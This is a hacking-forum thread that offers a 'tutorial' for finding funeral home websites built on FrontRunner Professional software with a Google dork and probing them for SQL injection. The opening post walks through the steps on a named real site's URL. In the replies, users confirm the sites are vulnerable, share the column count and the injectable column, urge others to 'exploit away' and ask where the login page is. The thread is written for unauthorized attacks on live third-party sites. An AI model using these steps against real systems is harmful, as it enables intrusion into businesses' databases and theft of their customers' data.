[ｍＯｂｉＩｅ]

[img]http://www.affuneraldirectors.com.au/images/coffin.png[/img]

I've been calling this the "Dork of the Dead" because every website is Funeral Home related.

Idk if this would be considered an 0day but the popular Funeral Home Websites with FrontRunner Professional is vulnerable to SQLi. The vulnerability lies within their Funeral Home Management Software 😏

Official Website:
www.frontrunnerpro.com

Worth & Traffic:


Tutorial:

1.) Go to www.google.com

2.) DORK: runtime.php?SiteId=
( or click >/10Jylao]HERE )

3.) Click on any website.

EXAMPLE SITE:

PHP Code


<?php 
http://www.andersonstributecenter.com/runtime.php?SiteId=7022&NavigatorId=74622 


4.) And Remove:

PHP Code


<?php 
&NavigatorId= 


from the URL so it looks like this;

PHP Code


<?php 
http://www.andersonstributecenter.com/runtime.php?SiteId=7022 


5.) Then just add ' to the end of the URL.

PHP Code


<?php 
http://www.andersonstributecenter.com/runtime.php?SiteId=7022' 


>Results Page;


Enjoy! Thanks for viewing my thread. 🤝

[black_wolf]

Thanks for posting this I shall look upond this later

[Mimix]

Thanks i will look it up right now:)

[bandors]

Haha, put up "ten percent off if you are berried before you die."
I've got something to do later ^_^

[bluespider600]

Tried one of them, definitely vulnerable :D
Nice find, OP

[SIM-1241186]

Nice find. But you don't need to remove "&NavigatorId=" you can just inject in between it. Although it makes the url look a bit cleaner I suppose.

Good job OP.

[Z0mbie.]

Nice find.
will be taking a look a this.

[Processor]

Awesome work again mobile! Always contributing amazing things!

---

Also their is 80 columns in every one that I have tried..

[๖ۣۜAlexander]

Awesome work again mobile! Always contributing amazing things!

---

Also their is 80 columns in every one that I have tried..

Same, the column count is 80.. is this right?

[Cathal]

Great post as always. Anyone know where to login? :P

[Processor]

Same, the column count is 80.. is this right?

Yes it is right! And so far 15 is always the vuln column! So exploit away! 🎉

[๖ۣۜAlexander]

Yes it is right! And so far 15 is always the vuln column! So exploit away! 🎉

Hehe thanks. For now I haven't really found something interesting.